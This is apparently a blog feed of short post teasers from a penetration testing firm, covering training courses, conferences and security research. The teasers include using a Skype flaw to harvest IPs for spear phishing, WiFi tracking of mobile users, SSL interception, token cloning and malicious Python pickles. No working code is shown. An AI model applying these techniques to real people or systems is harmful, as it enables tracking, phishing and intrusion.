Wed, 28 Nov 2012 10:29:50 +0000

Organising our yearly training event at Blackhat in Las Vegas is no mean feat. With well over two hundred students to prepare for, the size of Caesars Palace to contend with (last year, we, on average, walked 35 kilometers in distance just inside the hotel) and the manic environment, it’s a stressful environment.

There are many Blackhat helpers running about, but none like Mr Brad ‘the Nurse’ Smith. Brad would always be there popping his head into our rooms, making sure us plakkers had what we needed, when we needed it and always with that trademark smile. Armed with his two-way radios (almost like a western gun-slinger in the way he was able to whip them off and put them into action in seconds), he knew who to call and where to get it. This video from Toolswatch, shot at his last Blackhat, summed up his enthusiasm:

Skype Passive IP Disclosure Vulnerability

Mon, 26 Nov 2012 01:13:43 +0000

When performing spear phishing attacks, the more information you have at your disposal, the better. One tactic we thought useful was this Skype security flaw disclosed in the early days of 2012 (discovered by one of the Skype engineers much earlier).

For those who haven’t heard of it – this vulnerability allows an attacker to passively disclose victims external, as well as internal, IP addresses in a matter of seconds, by viewing the victims VCard through an ‘Add Contact’ form.

T-Shirt Shell Competition

Fri, 23 Nov 2012 09:07:17 +0000

For our internal hackathon, we wanted to produce some shirts. We ran a competition to see who could produce a reverse shell invocation most worthy of inclusion on a shirt. Here are the submissions, which may be instructive or useful. But first; the winning t-shirt design goes to Vlad (-islav, baby don’t hurt me, don’t hurt me, no more):

Funny story; the printer left out the decimal points between the IP, so we had to use a permanent marker to put them back. Oh, also, many of these were originally taken from somewhere else then modified, we don’t claim the full idea as our own. Anyway, onto the shells!

HTTPS via WinAPI

Mon, 19 Nov 2012 14:30:41 +0000

Hijacking SSL sessions initiated by the browser is a trivial task. The challenge comes when trying to intercept SSL traffic in applications such as Dropbox or Easynote. These apps create additional measures to verify certificates and their integrity, hence not very friendly to perform with Burp.

One quick solution to the above problem is hiding one level above (or below :) the OSI layer. Live API monitoring // hooking can be used to capture and manipulate HTTP/S “traffic” before it being placed on the wire, more or less the same way are used to doing it in Burp.

CSIR Cyber Games

Fri, 09 Nov 2012 07:27:47 +0000

The Council for Scientific and Industrial Research (CSIR) recently hosted the nation Cyber Games Challenge as part of Cyber Security Awareness month. The challenge pit teams of 4-5 members from different institutes against each other in a Capture the Flag style contest. In total there were seven teams, with two teams from Rhodes university, two from the University of Pretoria and three teams from the CSIR.

The games were designed around an attack/defence scenario, where teams would be given identical infrastructure which they could then patch against vulnerabilities and at the same time identify possible attack vectors to use against rival teams. After the initial reconnaissance phase teams were expected to conduct a basic forensic investigation to find ‘flags’ hidden throughout their systems. These ‘flags’ were hidden in images, pcap files, alternative data streams and in plain sight.

Charity Drive – Antarctica Expedition

Tue, 06 Nov 2012 08:10:28 +0000

Like many businesses we at SensePost are aware of how fortunate we are and and of the many around us who struggle to make ends meet day to day. We have a heart for our community and regularly supported charities and causes that touch us.

In South Africa its not hard to find causes to support, but one that’s particularly close to my heart is the Little Lambs Christian Daycare in a township in Cape Town called ‘Imizamo Yethu‘ (The People Have Gathered).

SensePost People News

Thu, 04 Oct 2012 08:35:32 +0000

We’re extremely proud to announce today the promotion of a number of key people here at SensePost.

Shane Kemp, Daniel Cuthbert and Dominic White will be promoted to Global Sales Manager, Chief Operations Officer and Chief Technology Officer respectivley and will join SensePost’s senior leadership structures, effective 01 October 2012.

The three new c-levels, along with a number of other emergent leaders, will be commencing a training and development program spanning a number of months as they gradually assume their new responsibilities.

Snoopy: A distributed tracking and profiling framework

Tue, 25 Sep 2012 08:01:10 +0000

At this year’s 44Con conference (held in London) Daniel and I introduced a project we had been working on for the past few months. Snoopy, a distributed tracking and profiling framework, allowed us to perform some pretty interesting tracking and profiling of mobile users through the use of WiFi. The talk was well received (going on what people said afterwards) by those attending the conference and it was great to see so many others as excited about this as we have been.

44Con: Vulnerability analysis of the .NET smart Card Operating System

Mon, 10 Sep 2012 14:21:37 +0000

Today’s smart cards such as banking cards and smart corporate badges are capable of running multiple tiny applications which are often written in high level programming languages like Java or Microsoft .NET and compiled into small card resident binaries. It is a critical security requirement to isolate the execution context and data storage of these applications in order to protect them from unauthorized access by other malicious card applications. To satisfy this requirement, multi-application smart cards implement an “Application Firewall” concept in their operating system which creates an execution sandbox for card applications.

Solution for the 44Con Challenge

Mon, 03 Sep 2012 05:54:33 +0000

Last week, we published our 44Con “SillySIP” Challenge for free entry to our BlackOps training course at the 44Con conference this year. We’d like to thank all those who attempted this challenge.

$queue->add($beatbox_drumroll);

The winner, who responded with the first correct answer, is Ben Campbell. As a result, he gets to hang out with our trainers on a free BlackOps training course.

Congratulations Ben! We look forward to meeting you (in person) at the BlackOps training.

44Con Challenge

Fri, 24 Aug 2012 07:12:47 +0000

In a similar fashion to the BlackHat challenge held earlier this year, we’re giving away a free ticket to our BlackOps course at this year’s 44Con. As a penetration tester, knowledge of an issue is not enough when one needs to demonstrate risk to a client. Furthermore, when large numbers of potential targets are involved, it becomes crucial that effective attacks are packaged and automated to allow for mass-pwnage.

Privilege Escalation in SQL Server (Depending on some dodgy requirements)

Wed, 08 Aug 2012 12:01:12 +0000

I was playing with a few SQL server idiosyncrasies more than a year ago before becoming so completely distracted with the whole SAP protocol-decoding business. Having some time on my hands for once, I thought I would blog it.

Early last year, I found it possible to create jobs owned by other users on MS SQL Server (2000, 2005 and 2008) by an unprivileged user – providing the user had the capability of creating or altering stored procedures in the [master].[dbo] schema. The reason for this, comes as a result of cross-database permissions being chained, by default, across the system databases [master], [msdb] and [tempdb]. According to Microsoft, this is by design.

BlackOps – Post Exploitation Fun and Games

Wed, 01 Aug 2012 15:25:06 +0000

Brilliant, the client has decided to implement their own CMS and you’ve found a variable that’s vulnerable to SQL injection. Starting up your favourite SQL exploitation tool, you upload a suitable web shell and fire up the browser. In an instant, you control that server, but do you really own the box?

Looking back at the major hacks of the last 18 months, attackers used a variety of techniques to obtain sensitive information. For the RSA hack, social engineering was used, allegedly consisting of a malicious Excel spreadsheet sent from a web master at a recruitment website. Once loaded, Poison Ivy was dropped on the host and the games began. Attackers started recon exercises, pivoting between hosts and finally exfiltrated the data (the rest is well-known and publicised). In the case of HBGary, attackers compromised their systems using a similar approach as the RSA attackers did: target an individual using social engineering using an earlier toehold to expand to a foothold. These types of attackers might have a fancy new name (Advanced Persistent Threats) but at the end of the day, they are using techniques that have been around for a while.

Black Hat Training Classes Update

Fri, 13 Jul 2012 09:38:49 +0000

Hey All,

We’re about locked and loaded down here in ZA – ready to tackle the looooong journey to Vegas for Black Hat. If you’re headed to Black Hat but haven’t yet booked training there’s still time, so I thought I’d push out a brief update on what’s still available from our stable of courses. As many of our courses have sold out we opened second classrooms and as a result have plenty of space to accommodate late comers!

Solution for the BlackHat Challenge

Fri, 22 Jun 2012 09:35:27 +0000

We had published a network protocol analysis challenge for free entry to our BlackHat 2012 Vegas training courses and received seven correct answers. We’d like to thank those who attempted this challenge and hope that they find it useful.

The winner, Peter Af Geijerstam managed to respond first, with the correct answer. As a result, he wins a free place on any of our Hacking By Numbers courses. Here is a brief solution for it:

BlackHat Challenge

Thu, 14 Jun 2012 08:41:15 +0000

This year marks a special anniversary for us at SensePost in that we’ve been training at BlackHat for over a decade now. To celebrate this, we thought we’d give away a free ticket to any of our courses on offer at this year’s BlackHat Briefings in Las Vegas.

With data breaches happening almost on a monthly basis these days, everyone is turning to encryption in order to protect their information. Bob, a rather tech-savvy gentleman, works for a FTSE 100 company and they’ve written their own secure message implementation. You’ve been tasked to perform a penetration test and noticed that after compromising their shared document server, an internal web application leaked the source code used by the company for the client and the server.

RSA SecureID software token update

Thu, 24 May 2012 08:56:44 +0000

There has been a healthy reaction to our initial post on our research into the RSA SecureID Software Token. A number of readers had questions about certain aspects of the research, and I thought I’d clear up a number of concerns that people have.

The research pointed out two findings; the first of which is in fact a design vulnerability in RSA software’s “Token Binding” mechanism. The second finding is another design issue that affects not only RSA software token but also any other software, which generates pseudo-random numbers from a “secret seed” running on traditional computing devices such as laptops, tablets or mobile phones. The correct way of performing this has been approached with hardware tokens, which are often tamper-resistant.

A closer look into the RSA SecureID software token

Thu, 17 May 2012 10:38:59 +0000

Widespread use of smart phones by employees to perform work related activities has introduced the idea of using these devices as an authentication token. As an example of such attempts, RSA SecureID software tokens are available for iPhone, Nokia and the Windows platforms. Obviously, mobile phones would not be able to provide the level of tamper-resistance that hardware tokens would, but I was interested to know how easy/hard it could be for a potential attacker to clone RSA SecureID software tokens. I used the Windows version of the RSA SecurID Software Token for Microsoft Windows version 4.10 for my analysis and discovered the following issues:

CREST South Africa? Let’s talk…

Wed, 09 May 2012 15:59:22 +0000

First, some background on CREST in the form of blatant plagiarism…

CREST – The Council for Registered Ethical Security Testers – exists to serve the needs of a global information security marketplace that increasingly requires the services of a regulated and professional security testing capability. They provide globally recognised, up to date certifications for organisations and individuals providing penetration testing services.

For organisations, CREST provides a provable validation of security testing methodologies and practices, aiding with client engagement and procurement processes, and proving that your company is committed to providing testing services to the highest standard.

ITWeb Security Summit 2012

Tue, 08 May 2012 14:05:34 +0000

This year, for the fourth time, myself and some others here at SensePost have worked together with the team from ITWeb in the planning of their annual Security Summit. A commercial conference is always (I suspect) a delicate balance between the different drivers from business, technology and ‘industry’, but this year’s event is definitely our best effort thus far. ITWeb has more than ever acknowledged the centrality of good, objective content and has worked closely with us as the Technical Committee and their various sponsors to strike the optimal balance. I don’t think we have it 100% right yet, and there are some improvements and initiatives that will unfortunately only manifest at next year’s event, but this year’s program (here and here) is nevertheless first class and comparable with almost anything else I’ve seen.

Pentesting in the spotlight – a view

Mon, 07 May 2012 13:11:21 +0000

As 44Con 2012 starts to gain momentum (we’ll be there again this time around) I was perusing some of the talks from last year’s event…

It was a great event with some great presentations, including (if I may say) our own Ian deVilliers’ *Security Application Proxy Pwnage*. Another presentation that caught my attention was Haroon Meer’s *Penetration Testing considered harmful today*. In this presentation Haroon outlines concerns he has with Penetration Testing and suggests some changes that could be made to the way we test in order to improve the results we get. As you may know a core part of SensePost’s business, and my career for almost 13 years, has been security testing, and so I followed this talk quite closely. The raises some interesting ideas and I felt I’d like to comment on some of the points he was making.

Pfortner calls on SensePost expertise to validate their security posture

Thu, 26 Apr 2012 06:46:36 +0000

Pretoria South Africa — SensePost, a leader in penetration testing and information security services, announced today that Pfortner had called on their expertise to validate their encryption services in South Africa. With the financial services sector in South Africa being deeply competitive, Pfortner needed to provide a high-level of assurance for their clients as to the security of their encryption service. As a standard requirement Pfortner clients have to be totally confident in the security of their service before any further engagement.

Foot printing – Finding your target…

Thu, 08 Mar 2012 15:45:24 +0000

We were asked to contribute an article to PenTest magazine, and chose to write up an introductory how-to on footprinting. We’ve republished it here for those interested.

Network foot printing is, perhaps, the first active step in the reconnaissance phase of an external network security engagement. This phase is often highly automated with little human interaction as the techniques appear, at first glance, to be easily applied in a general fashion across a broad range of targets. As a security analyst, footprinting is also one of the most enjoyable parts of my job as I attempt to outperform the automatons; it is all about finding that one target that everybody forgot about or did not even know they had, that one old IIS 5 webserver that is not used, but not powered off.

Mobile Security – Observations from the developing world

Tue, 06 Mar 2012 16:31:05 +0000

By the year 2015 sub-Saharan Africa will have more people with mobile network access than with access to electricity at home.

This remarkable fact from a 2011 MobileMonday report came to mind again as I read an article just yesterday about the introduction of Mobile Money in the UK: By the start of next year, every bank customer in the country may have the ability to transfer cash between bank accounts, using an app on their mobile phone.

Hacking By Numbers – March 2012

Wed, 22 Feb 2012 08:06:00 +0000

Our next locally scheduled training sessions have been planned for March. If you’re interested in attending, the dates and locations are:

1) HBN Extended (Cadet Camp; Bootcamp) 6-9th March

The HBN ‘Extended Edition‘ is simply an intensive extended version of the regular Bootcamp course. Whilst the content and structure are essentially the same as Bootcamp, the Extended Edition offers students a deeper understanding of the concepts being presented and affords them more time to practice the techniques being taught. Extended Edition is currently offered in Switzerland and South Africa only, or can be arranged on request.

Press Release – London Hacking & Security Courses

Tue, 13 Dec 2011 14:15:41 +0000

School’s never out for the Pro!

We’re proud to announce that we are now offering our highly successful penetration testing training courses to the UK market from 2012.

SensePost has been providing penetration testing training courses to corporates and governments across the globe, and at prestige security events such as Black Hat and OWASP for over a decade. Initially, three courses in London for 2012 have been organised:

HBN Extended Edition (4 days) – 13-17, February 2012

HBN W^3 Edition (3 days) – 14-16 March 2012

HBN Unplugged (2 days) – 18-19 April 2012

The first course, HBN Extended Edition is set at an introductory level for technical people without experience in the world of hacking or penetration testing. It presents attendees with the background information, technical skill and basic concepts that are required to get started in this field.

Competition winner announced

Tue, 06 Dec 2011 22:42:32 +0000

On Saturday Dec 3, at BSides Cape Town we announced the winner of a prize for local information security research. The purpose of the competition was twofold. Firstly, to highlight interesting research produced in .za for the purpose of publicising up ‘n coming security folks, since there are a few disparate communities (academic / industry is the greatest split). Secondly, to provide some degree of reward in the form of a cash prize. The prize is (unsurprisingly) not meant to compensate for time spent, but rather to give the typical researcher who conducts the work in their spare time some recognition and perhaps a cool gadget to associate with the work.

R5000 ZA research prize to be presented at B-Sides Cape Town, nominations sought

Mon, 21 Nov 2011 00:45:58 +0000

SensePost is proud to announce a competition to identify the best information security research published by a resident of South Africa in 2011 (Jan 1st to Dec 3rd). Much security research is unfunded and private but, when published, enters the toolsets and minds of security companies worldwide. South Africa’s security industry is best-described as “fledgling”, and we want to support researchers who produce quality research.

Heads up: even if you’re not a researcher, you can still win by nominating work, so continue reading.

Mobile Security Summit 2011

Tue, 01 Nov 2011 11:06:51 +0000

This week, Charl van der Walt and I (Saurabh) spoke at Mobile Security Summit organized by IIR (http://www.iir.co.za/detail.php?e=2389).

Charl was the keynote speaker and presented his insight on the impact of the adoption of mobile devices throughout Africa and the subsequent rise of security related risks. During his talk, he addressed the following:

Understanding the need for mobile security to be taken seriously in Africa
Analysing the broader implications for the user and the company
The types of attacks occurring against mobile devices
What does the future of mobile security look like and what are the potential threats to users?
Understanding the particular threats posed by smartphones and other portable devices, e.g. tablets

The presentation can be accessed via link below:

Squinting at Security Drivers and Perspective-based Biases

Fri, 28 Oct 2011 10:01:54 +0000

While doing some thinking on threat modelling I started examining what the usual drivers of security spend and controls are in an organisation. I’ve spent some time on multiple fronts, security management (been audited, had CIOs push for priorities), security auditing (followed workpapers and audit plans), pentesting (broke in however we could) and security consulting (tried to help people fix stuff) and even dabbled with trying to sell some security hardware. This has given me some insight (or at least an opinion) into how people have tried to justify security budgets, changes, and findings or how I tried to. This is a write up of what I believe these to be (caveat: this is my opinion). This is certainly not universalisable, i.e. it’s possible to find unbiased highly experienced people, but they will still have to fight the tendencies their position puts on them. What I’d want you to take away from this is that we need to move away from using these drivers in isolation, and towards more holistic risk management techniques, of which I feel threat modelling is one (although this entry isn’t about threat modelling).

Metricon 2011 Summary

Fri, 28 Oct 2011 09:35:28 +0000

[I originally wrote this blog entry on the plane returning from BlackHat, Defcon & Metricon, but forgot to publish it. I think the content is still interesting, so, sorry for the late entry :)]

I’ve just returned after a 31hr transit from our annual US trip. Vegas, training, Blackhat & Defcon were great, it was good to see friends we only get to see a few times a year, and make new ones. But on the same trip, the event I most enjoyed was Metricon. It’s a workshop held at the Usenix security conference in San Francisco, run by a group of volunteers from the security metrics mailing list and originally sparked by Andrew Jacquith’s seminal book Security Metrics.

Decrypting iPhone Apps

Mon, 24 Oct 2011 13:56:41 +0000

This blog post steps through how to convert encrypted iPhone application bundles into plaintext application bundles that are easier to analyse.

Requirements:
1) Jailbroken iPhone with OpenSSH, gdb plus other utilities (com.ericasadun.utilities etc. etc.)
2) An iPhone app
3) On your machine:

otool (comes with iPhone SDK)
Hex editor (0xED, HexWorkshop etc.)
Ida – Version 5.2 through 5.6 supports remote debugging of iPhone applications (iphone_server).

For this article, I will use the app name as “blah”.

Be Inspired

Mon, 17 Oct 2011 07:31:09 +0000

Talented
Innovative
Quality driven
Forward thinking
Trusted advisors
And …simply good fun!

These are all phrases associated with SensePost. Do you think you have what it takes to become part of our expanding GLOBAL team?

We are looking for more security assessment consultants to join us in the UK and South Africa. Security assessments are what we live and breathe – whether it’s foot-printing and obtaining enterprise domain admin rights on production networks, training hundreds at conferences around the world, to reverse-engineering mobile applications and producing cutting-edge security applications.

Press Release – Jane Frankland joins SensePost

Sat, 08 Oct 2011 10:53:16 +0000

The SensePost marketing division, a highly skilled team of ruthless spin-doctors, is proud to announce that they have written … a press release. Indeed, this team of fawners, flunkeys, lackeys and puffers has been slaving since early 2009 to come up with the pristine example of literary art you will read below. If you’re intimidated by what I’ve just said, harbour a fanatical dislike for marketing folks or simply don’t read so good, then here’s the short version:

Black Hat Abu Dhabi && Cadet Online Edition

Thu, 06 Oct 2011 09:21:51 +0000

Black Hat will host its second event in the Middle East in Abu Dhabi with a full contingent of selected Training and three tracks of Briefings over four days from December 12 to 15 December 2011.

We’re pleased to announce that SensePost will be back again this year with our exciting new Wifi hacking course – Hacking By Numbers, Unplugged Edition, launched for the 1st time in Las Vegas this year. This course is fresh and exciting and was an amazing success at Black Hat earlier this year. You can register directly on the Black Hat site, or contact us if you want more information.

Runtime analysis of Windows Phone 7 Applications

Wed, 14 Sep 2011 15:33:43 +0000

Runtime analysis is an integral part of most application security assessment processes. Many powerful tools have been developed to perform execution/data flow analysis and code debugging for desktop and server operating systems. Although a few dynamic analysis tools such as DroidBox are available for Android, I currently know of no similar public tools for the Windows Phone 7 platform. The main challenge for Windows Phone 7 is the lack of a programable debugging interface in both the Emulator and phone devices. The Visual Studio 2010 debugger for Phone applications does not have an “Attach to process” feature and can only be used to debug applications for which the source code is available. Although the Kernel Independent Transport Layer (KITL) can be enabled on some Windows Phone devices at boot time which could be very useful for Kernel and unmanged code debugging, it can’t be used directly for code tracing of phone applications which are executed by the .NET compact framework.

Hacking Online Auctions – UnCon && ITWeb talk

Tue, 13 Sep 2011 10:20:20 +0000

I gave an updated version of my ‘Hacking Online Auctions’ talk at UnCon in London last week. The talk gave a brief intro to general auction theory, and how the models can be applied online, but the main focus was on ‘penny auction’ websites. What are those all about then? Well, during my Masters last year I took a course on Internet Economics, and one of the modules involved auction theory. It was a really interesting module, and I did a bit of my own research on the side, whereby I stumbled across various penny auction sites. The sites (who pretend to be akin to eBay or the likes) go a little something like this:

Systems Applications Proxy Pwnage

Fri, 02 Sep 2011 12:14:23 +0000

[2011/9/6 Edited to add Slideshare embed]

I am currently in London at the first ever 44con conference. It’s been a fantastic experience so far – excellent talks & friendly people.

Yesterday, I presented a paper titled “Systems Applications Proxy Pwnage” . The talk precis sums it up nicely:

It has been common knowledge for a number of years that SAP GUI communicates using an unencrypted and compressed protocol by default, and numerous papers have been published by security professionals and researchers dealing with decompressing this traffic.

SensePost @ 44Con – Join us!

Fri, 19 Aug 2011 08:31:08 +0000

Until recently, there was a distinct lack of decent, high-quality technical security conferences held in the United Kingdom. Home to the Global Financial Centre, London, there isn’t a shortage of industries who require secure applications and rely on secure infrastructure and applications to operate.

With this in mind, 44Con is the first combined information security conference and training event held in Central London. The con will provide business and technical tracks, aimed at government, public sector, financial, security professionals and Chief Security Officers.

Metricon6 Presentation

Wed, 10 Aug 2011 09:38:53 +0000

Dominic is currently in the air somewhere over the Atlantic, returning from a long trip that included BlackHat, DefCon and lastly Metricon6, where he spoke on a threat model approach that he has picked up and fleshed out. He has promised a full(er) write-up on his glorious return, however in the meantime his slides are below. An updated copy of the CTM tool is on the CTM page, as is the demonstration dashboard (a nifty spreadsheet-from-the-deep that interactively provides various views on your threat model).

BlackHat 2011 Presentation

Sun, 07 Aug 2011 23:54:22 +0000

On this past Thursday we spoke at BlackHat USA on Python Pickle. In the presentation, we covered approaches for implementing missing functionality in Pickle, automating the conversion of Python calls into Pickle opcodes, scenarios in which attacks are possible and guidelines for writing shellcode. Two tools were released:

Converttopickle.py – automates conversion from Python-like statements into shellcode.
Anapickle – helps with the creation of malicious pickles. Contains the shellcode library.

Lastly, we demonstrated bugs in a library, a piece of security software, typical web apps, peer-to-peer software and a privesc bug on RHEL6.

Security Policies – Go Away

Thu, 14 Jul 2011 14:44:19 +0000

Security policies are necessary, but their focus is to the detriment of more important security tasks. If auditors had looked for trivial SQL injection on a companies front-page as hard as they have checked for security polices, then maybe our industry would be in a better place. I want to make this go away, I want to help you tick the box so you can focus on the real work. If you just want the “tool” skip to the end.

SensePost Black Hat Course Summary & chosing the right courses

Fri, 08 Jul 2011 12:19:24 +0000

As we draw nearer to Black Hat Vegas we get a lot of requests from people who need help choosing between one of our courses or the other. In order to provide people with a single, consolidated summary of all the courses we’ll be offering this year I’ve put together a rough summary doc that outlines all the courses and attempts to illustrate how they fit together. Get it here:

House of Cards

Thu, 07 Jul 2011 12:34:19 +0000

In light of recent mass hacks (HBGary, Sony, Nintendo, etc) one would have thought that collectively, companies would take notice and at least be slightly more aware of the potential implications vulnerabilities in public-facing services could have.

The problem appears to be that these hacks, and indeed hackers, aren’t that technically superior and more often than not, take advantage of simple flaws. Some flaws, like SQL injection, provide so much access on their own that a fairly grim attack scenario can be painted. However, often attackers don’t require such extravagant flaws to gain access. Chained attacks utilising “low risk” attacks can be far more deadly than a single flaw.

Threat Modeling vs Information Classification

Wed, 08 Jun 2011 06:34:16 +0000

Over the last few years there has been a popular meme talking about information centric security as a new paradigm over vulnerability centric security. I’ve long struggled with the idea of information-centricity being successful, and in replying to a post by Rob Bainbridge, quickly jotted some of those problems down.

In pre-summary, I’m still sceptical of information-classification approaches (or information-led control implementations) as I feel they target a theoretically sensible idea, but not a practically sensible one.

From the International Conference on Cyber Conflict

Tue, 07 Jun 2011 16:13:53 +0000

The text that follows is a short statement I prepared for the press ahead of my presentation at the ‘The International Conference on Cyber Conflict’ (http://www.ccdcoe.org/ICCC/) in Tallinn, Estonia. It felt like I had very mixed response, so I’d be interested to hear what others think…

My background and context

Any opinion can only be understood if you also understand its context. Therefore, in order to understand the thinking that follows, you also have to understand my perspective. Three aspects of my context effect my thinking here:

Hacking By Numbers: W^3 Edition

Sun, 29 May 2011 22:54:19 +0000

Well, we’re ramping up with the new Hacking By Numbers W^3 edition course we will be presenting at BlackHat Vegas this year. This course is a replacement for the Web2.0 course we successfully presented over the past three years and sports a whole bunch of new and improved practicals. We’ve also upped the technology being used and the presentation is chock-full of ASCII sheep… :)

The new course is an intermediate web application hacking course, and will deal with the following topics

Hacking by Numbers: BlackOps Edition

Fri, 27 May 2011 11:19:32 +0000

The brand new BlackOps HBN course makes its debut in Vegas this year. The course finds its place as a natural follow on from Bootcamp, and prepares students for the more intense Combat edition. Where Bootcamp focuses on methodology and Combat focuses on thinking, BlackOps covers tools and techniques to brush up your skills.

This course is split into eight segments, covering scripting, targeting, compromise, privilege escalation, pivoting, exfiltration, client-side and and even a little exploit writing. BlackOps is different from our other courses in that it is pretty full of tricks, which are needed to move from the methodology of hacking to professional-level pentesting. It’s likely to put a little (more) hair on your chest.

Incorporating cost into appsec metrics for organisations

Sun, 22 May 2011 21:23:11 +0000

A longish post, but this wasn’t going to fit into 140 characters. This is an argument pertaining to security metrics, with a statement that using pure vulnerability count-based metrics to talk about an organisation’s application (in)security is insufficient, and suggests an alternative approach. Comments welcome.

Current metrics

Metrics and statistics are certainly interesting (none of those are infosec links). Within our industry, Verizon’s Data Breach Investigations Report (DBIR) makes a splash each year, and Veracode are also receiving growing recognition for their State of Software Security (SOSS). Both are interesting to read and contain much insight. The DBIR specifically examines and records metrics for breaches, a post-hoc activity that only occurs once a series of vulnerabilities have been found and exploited by ruffians, while the SOSS provides insight into the opposing end of a system’s life-cycle by automatically analysing applications before they are put into production (in a perfect world… no doubt they also examine apps that are already in production). Somewhat tangentially, Dr Geer wrote recently about a different metric for measuring the overall state of Cyber Security, we’re currently at a 1021.6. Oh noes!

Hacking by Numbers: Bootcamp Edition

Tue, 17 May 2011 14:31:29 +0000

Salut à tous,

It’s that time of the year again and like every year, we’ll once again be running our ever-popular “BOOTCAMP EDITION” at the BlackHat Briefings in Las Vegas this July-August. This course is part of our established Hacking by Numbers series. BUT, this year, only the name remains the same. We are slaving away at making this course cutting edge, providing you with a hands-on hacking experience on the latest operating systems, application frameworks and programming languages utilizing the latest tools and techniques. Gone are the days of IIS 5.0, Windows XP and we truly understand that [ed: for Bootcamp, maybe… Combat certainly contains an OS older than Win95].

Rhodes MSc Information Security Weekend

Mon, 16 May 2011 15:23:52 +0000

An education isn’t how much you have committed to memory, or even how much you know. It’s being able to differentiate between what you know and what you don’t.
– Anatole France

Jobs within Information Security, and indeed Information Technology, are often more than a 9-5 affair for many who choose them as their career. There is a wealth of different technologies, frameworks, approaches and information that you need to understand to perform your job to a suitable level. In IT security specifically, with the pace of technology constantly growing, keeping abreast is often easier said than done.

Cadet Training

Fri, 06 May 2011 14:47:39 +0000

You’ve seen the movies. You’ve seen the cooler than life characters hacking systems using obscure keyboards and operating systems that seem to float through the network, so how about now really learning how it’s done?

Hacking by Numbers, Cadet Edition is being presented at Black Hat USA this year by two super star SensePost hackers. This entry-level course will delve into the following topics:

• Understanding the hacker mind-set.

• Method based approached of understanding the penetration testing life cycle.

ITWeb Security Summit

Thu, 17 Mar 2011 15:26:51 +0000

The ITWeb Security Summit is creeping up on us again and will be happening on the 10-11th of May. This year ITWeb went with something slightly different, and are asking for people to suggest who they’d like to see on day 2. These suggestions will then be voted on. So, if there’s someone you’re dying to see present or a topic you really want someone to spend some time researching, head over to their community portal and write it down.

To understand the battlefield, you need a broad view

Tue, 01 Mar 2011 14:16:23 +0000

It is always a little bemusing to hear that we only provide pentests. Since 2001, SensePost has offered a very comprehensible vulnerability management service that’s evolved through multiple generations of technologies and methodologies into a service we’re very proud of. The Managed Vulnerability Scanning (“MVS”) service makes use of our purpose-built BroadView scanning technology to scan a number of high profile South African and European clients. More information can be found here, but the purpose of this post is to introduce it with a basic overview of its deployment.

BlackHat Barcelona Training

Tue, 22 Feb 2011 00:19:03 +0000

Hola amigos,

We will be running our elite “Combat Training” at the BlackHat Briefings in Barcelona this March (talk lineup) and this course is the flagship of our established Hacking by Numbers series. From the first hour to the final minutes students are placed in different attacker scenarios as they race the clock to “capture the flag”. The trainers are highly skilled (as well as having the standard Southern African humour, looks, and charm) and the course is full of new hacks.

The Yeti is here

Tue, 15 Feb 2011 10:19:39 +0000

After several months of dedicated … uh dedication, our new network footprinting tool is being made available to the masses.

It’s called Yeti and it is a cross-platform, Java application. It’s predecessor, BidiBlah, was only available on Windows platforms and hopefully with Yeti we can now offer Internet intelligence gathering to everyone.

So what does Yeti do:

Top level domain expansion (tld expand)
Forward lookups (mx,ns,a,cname and zone transfers)
Reverse lookups (ptr records)
Cert Extraction (getting the common name, and domain from ssl certificates)
Bing IP/Site searches
Report exports to xls format

We invite you all to visit the Yeti community blog and to participate in either testing the tool or just to add comments. Usage instructions can be found on the spyeti blogspot.

Training – lots of stuff(c)

Wed, 09 Feb 2011 13:15:14 +0000

Hey. Charl here. Lots of stuff is happening on the training front right now (ed: right now!), and I wanted to make sure everyone is aware of it.

1. New schedule published

At the start of the year we always try publish a schedule of when and where our various training courses are happening. Of course it changes a bit as the year progresses, but its a pretty good overview of where you need to be if you want to participate in one of the courses. The current 2011 schedule can be found here.

Happy New Year gift: source code!

Mon, 03 Jan 2011 13:11:46 +0000

If you use the Gregorian Calendar, then Happy New Year! Down here in South Africa, we’ve also ushered in a new year and in celebration SensePost is releasing source code for our in-house web proxy, Suru, under a BSD-style license.

When released in 2006, Suru introduced a number of unique features to the world of inline proxies including trivial fuzzing, token correlation and background directory brute-forcing. Further improvements include timing analysis and indexable directory checks. These were not available in other commercial proxies at the time, hence our need to write our own. Since then, most of these features have been incorporated into more full-featured commercial proxies, negating the need for Suru.

Season’s Greetings

Sat, 18 Dec 2010 22:53:47 +0000

To all our customers, staff (past and present), business partners, friends and associates I’d like to wish a joyous and peaceful festive season. What started out as a depression is slowly becoming a success and I thank you for all your support during this past year. I look forward to seeing you all again soon and sharing with you an exciting and prosperous 2011!

Internal spotlight

Mon, 06 Dec 2010 16:30:41 +0000

As the year winds down, it’s time to mention a few internal victories that are fun to share:

Daniel Cuthbert and Rogan Dawes (both staunch OWASP proponents) have joined our assessment team, which is a big boost. Welcome guys!
Glenn Wilkinson, a lead analyst, had his Masters thesis listed on Amazon
Dominic White was interviewed in all his glory on .za teevee over Wikileaks

Playing with Python Pickle #3

Mon, 15 Nov 2010 21:54:09 +0000

[This is the third in a series of posts on Pickle. Link to part one and two.]

Thanks for stopping by. This is the third posting on the bowels of Python Pickle, and it’s going to get a little more complicated before it gets easier. In the previous two entries I introduced Pickle as an attack vector present in many memcached instances, and documented tricks for executing OS commands across Python versions as well as a mechanism for generically calling class instance methods from within the Pickle VM.

Playing with Python Pickle #2

Tue, 09 Nov 2010 14:07:40 +0000

[This is the second in a series of posts on Pickle. Link to part one.]

In the previous post I introduced Python’s Pickle mechanism for serializing and deserializing data and provided a bit of background regarding where we came across serialized data, how the virtual machine works and noted that Python intentionally does not perform security checks when unpickling.

In this post, we’ll work through a number of examples that depict exactly why unpickling untrusted data is a dangerous operation. Since we’re going to handcraft Pickle streams, it helps to have an opcode reference handy; here are the opcodes we’ll use:

Playing with Python Pickle #1

Tue, 09 Nov 2010 01:05:42 +0000

In our recent memcached investigations (a blog post is still in the wings) we came across numerous caches storing serialized data. The caches were not homogenous and so the data was quite varied: Java objects, ActiveRecord objects from RoR, JSON, pre-rendered HTML, .Net serialized objects and serialized Python objects. Serialized objects can be useful to an attacker from a number of standpoints: such objects could expose data where naive developers make use of the objects to hold secrets and rely on the user to proxy the objects to various parts of an application. In addition, altering serialized objects could impact on the deserialization process, leading to compromise of the system on which the deserialization takes place.

Black Hat Abu Dhabi – Full … NOT!

Sun, 31 Oct 2010 23:29:13 +0000

The bad news is that our course at Black Hat Abu Dhabi is completely full. The good news is … they’ve given us a bigger room! So if you’ve been told the course is full, or if you haven’t registered yet, please do it quickly before it fills up again.

Problems? Please contact us or mail training[at]sensepost[dot]com.

Analysis of a UDP worm

